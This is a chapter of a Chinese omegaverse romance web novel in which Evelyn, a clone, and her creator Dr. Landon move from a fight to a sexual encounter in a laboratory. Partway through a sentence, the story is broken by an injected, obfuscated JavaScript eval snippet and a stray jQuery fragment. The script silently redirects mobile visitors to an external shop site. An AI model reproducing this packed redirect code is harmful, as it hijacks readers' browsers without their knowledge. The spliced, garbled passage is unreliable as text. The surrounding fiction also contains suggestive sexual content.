伊芙琳想兰登是很骄傲的,在她前十七年的人生里,他都把自己视为她的主人。信息素紊乱这个病症,让他感到被她挑战了权威,所以真的会很屈辱。
她想劝一劝,好好跟他说说,兰登一定是个讲道理的人。在此之前要先为他做一个临时标记,让他恢复理智,这段时间她做了很多次,已经驾轻就熟了。
但刚碰上他的肩膀,迎面就袭来一道掌风,他竟然用尽全力击向她的脖子。
伊芙琳身体比脑子反应更快,伸手格挡,和兰登对打起来。兰登的作战技巧其实比她更高一筹,但那是在不动用信息素和精神力的情况下,只要她用了alpha信息素,作为omega的他只有被压制的份儿,她没有半分想要伤害兰登的意思,刻意压制信息素的发散。
所以打不过兰登,她的脖子被手肘卡住,兰登从身后钳住她的四肢,她的后背滚烫一片,耳边是他呼出的灼烧的气息。伊芙琳觉得自己简直像用白茶信息素洗了个澡!
全身都被粘腻的信息素覆盖住,头发丝都湿透了,气体钻进她十分灵敏的鼻子,通过体内循环变成薄汗散发,沾着贴身的衣物。
可想而知兰登体内的信息素水平,经历了怎样一场地震般的波动,伊芙琳人被卡着脖子还想跟他讲道理,抬手碰了碰他的胳膊,“兰登,别,你听我说,我……”
耳朵忽然被含住,又麻又痒,舌面扫过耳廓带来极其诡异的感觉,兰登拧过她的脸,咬住她的嘴唇。
我去……伊芙琳上次喝醉酒,强吻了兰登,已经自觉大逆不道深刻反省了很多天,但是总会突然想到和他接吻时的感觉。很软的嘴唇,比他这个人要柔软的多,唇舌相贴有种香香软软的感觉,像在啃一块棉花糖。她其实,有点怀念。
并且有些可惜,当时,没有多感受一下。
兰登来吻她相比之下有侵略性得多,让她从味蕾深刻地品尝到了白茶的味道,让她瞬间迷醉,舒服地仰起脑袋接受亲吻,没留意到兰登手劲放柔,把她转了个身揽住她的脖子。
兰登下意识伸手拨弄女孩的头发,发根之下,脖子中段的位置有她的腺体,那是所有alpha都会有的,让omega快乐的开关,他被本能支配希望她给予一些信息素。可是没有,什么都没有,伊芙琳的腺体是瘪的,只有在充满愤怒的战斗状态才会溢出信息素,除此之外,她不会为任何人动情。
他忽然清醒,悲哀地滑落两行热泪,她是他亲手制作的克隆人。是他亲手把她和一切动物性分离,成为拥有无上的理智,近似冰冷俯瞰世间的神,但是现在,他不自量力地想要祈求她的爱。
她越光明磊落,就显得他越卑劣无耻,他生来带着罪孽,血肉中打下贪嗔痴怨的烙印,每个毛孔都散发着肮脏的气息。
只悲哀了一瞬他就决定把自己抛回白茶汪洋中,任由狂风巨浪把自己吞没,牙齿深深扎进伊芙琳的嘴唇。
“好了兰登,你听我说话。”伊芙琳“嘶”了声,拍了拍兰登的肩膀把他拉开些,却是脖子一痛,他咬住了她的脖子,很用力,简直像要从她脖子上啃下来一块肉。
伊芙琳寒毛耸立,瞬间进入应激状态,散发了一点信息素,兰登嘤咛一声,磕了药似的,抬起绯红的脸,半睁着水光迷蒙的眼睛望向她。
“你……”
伊芙琳推开兰登坐起来,他躺在地上像蚌类打开了柔软的壳,一手攥着地毯上的羊绒,两根雪白的手指揪起来一小块,放开,几次之后整块地毯变得坑坑洼洼。他的喘息声很重,整张脸又红又烫,嘴唇嫣红得吓人,莹润的眼睛却追逐着她。
如果她的古汉语修得更好一些,应该会想到“任君采撷”四个字,她浑身血液倒流,双脚像被钉在地上,只觉得现在兰登,好像很美味。
他一直带着厚重的壳子生活,一丝不苟,尊贵优雅目无下尘,从来没有在人前失态过。自然也就没有人想到,他会有这样的一面,伊芙琳心跳如擂鼓,把手伸向兰登。
想到她可以轻而易举的,剥开沉重的蚌壳,作为优势性别掌控他的一切,让他哭让他笑,只觉得浑身血液沸腾,她不知道那是alpha天生的施暴欲,自然也没有什么框住她的道德标准,只想凭着本性而为。
“兰登……”
她抚向他的脸,感受滚烫的温度,兰登偏过脑袋,把脸颊嵌入她的手心里,嘴唇留下一连串轻吻。
兰登,兰登……她呼唤他的名字,晃然间跟小时候的她重合,那时她每天训练完回到古堡,就追着仆人问兰登在那里,但他那时真的很冷,装模作样的冷,让她跟在他身后不断叫他的名字,他才可能回头。
当然现在的她明白了,他那时候多希望别人去接近他,不要把他当成阴鸷的皇子尊敬恐惧,和他说说话。还好她小时候无知无畏,一直缠着他,没有让他太孤单。
兰登的眼泪融进她的掌纹里,她忽然就懂了他的渴求,把他拉起来,面对他的眼睛问:“你想要吗?”
兰登的睫毛颤了一下,咕哝了几声垂下眼,以为装成鸵鸟就能回避这个问题,伊芙琳抬起他下巴,难得的强势:“告诉我,你想要吗?”
兰登的火都快把他烧尽了,她却还在问,他咬住她的拇指,牙齿咬噬骨节表达不满。
“好吧兰登,这可是你同意的。”
……
实验室的手术台是伊芙琳待过很多次的地方,没想到有一天她能把兰登压在上面。她怀着愧疚有一次读取了霍华德的记忆,才知道下一步要做什么。
对她来说是不小的挑战,而兰登,在她犹豫怀疑的时候已经蹭着桌子把衣物脱光了。
她的双眼泛起红光,还想再问一次他确定吗,兰登坐起来雪白的胳膊勾住她的脖子,把她拉下去。
无边的沉沦,玫瑰和白茶信息素混合在一起,充斥在空气中,凝结后顺着冷白的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234838|151410||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
墙壁滑落,在这样的信息素浓度里,即便是无感beta走进来也会因为过度浓郁的气味窒息晕倒。
伊芙琳一直清醒,看着兰登的反应,过后也没睡,在黑暗中听着他浅浅的呼吸声出神。据她所知,omega是比较柔弱的,需要alpha抚慰,而她的头顶搁着兰登的下巴,他在以一个保护者的姿态拥抱着她。
他身上已经不烫了,手腕渐渐浸上空气中的冷意,伊芙琳无意识和他十指交扣了会儿,想把他的手捂热。
她还有点头痛,这张实验床虽然调到了舒适的数值,还是不太适宜躺着,轻轻拨开兰登的手下床,撩了把头发去窗边坐着看星星。
她不抽烟,但是这个时候挺想来一根事后烟的。
“啪——”实验室的灯亮起,伊芙琳看向实验床,兰登侧躺在床上,抬起碧绿色的眼睛望向她,有惺忪的睡意,有刚才残余的红热,还有,一丁点的怀疑和戒备,就是没有了纠结痛苦,他很平静地接受了发生了什么。
伊芙琳跳下窗台,朝他走来,兰登眼睫微颤,眼底的戒备无限放大,让他整个人变得很冷,虽是如此,顶着毛茸茸的乱发,耳朵还是红的,看起来没多少威慑力。
“能不能放了那些叛军少年?”
伊芙琳最着急的还是这件事,在兰登身边蹲身仰头,望进那双浅色的眼睛里,毫不意外地看到他的眼中翻涌愠怒,浑身长出许多无形的尖刺,像凉飕飕的冰棱子扎向她。
可她已经一点儿都不怕兰登了。
她想起刚才的一个场面,她从霍华德的记忆里知道那个时候应该适量释放出一点信息素,会让omega比较舒适,但她拿不准具体的尺度,只放出一点点,察觉兰登的表情痛苦就停下。他却兀自睁开水润的眼,手在她脖子后头探来探去,语气不满,问她为什么没有信息素,她只好多放了点儿。
只是那一点就让他如生如死,两眼翻白,嘴唇咬出血迹,身体颤抖如同筛糠,就像浑身的筋骨肌肉都因为她的信息素侵入而重新梳理扭曲重组,在脱胎换骨的极痛之境中体验无上的美妙。
想要激起兰登的情绪很不容易,他一直有着冰冷机器般的精准理智,在很早的时候就把欲望当作需要对抗的顽疾,在短暂的失态过后,他迅速恢复成冷漠清醒,捏着她的手,尾音颤抖地告诉她下一步要做什么。
伊芙琳惊叹他失态时的美丽,那是世人绝对无法窥见的兰登博士,正如此时他渐渐浅红的眼尾,愠怒夹杂着委屈,让她心神动摇。想抱他,也想亲他。
她的脸上有越来越深的笑意,拥有自己的思想后同时越发个性分明,意气风发开朗自信的女孩,正用明亮的眼睛把他的窘迫尽收眼底,兰登越发愤怒。
“你就……”这样对我,为什么开口便只有叛军,为什么,不来抱抱我。
他的话只说了两个字,开口的瞬间被女孩单手捧住脸颊,热烈地吻上他的唇。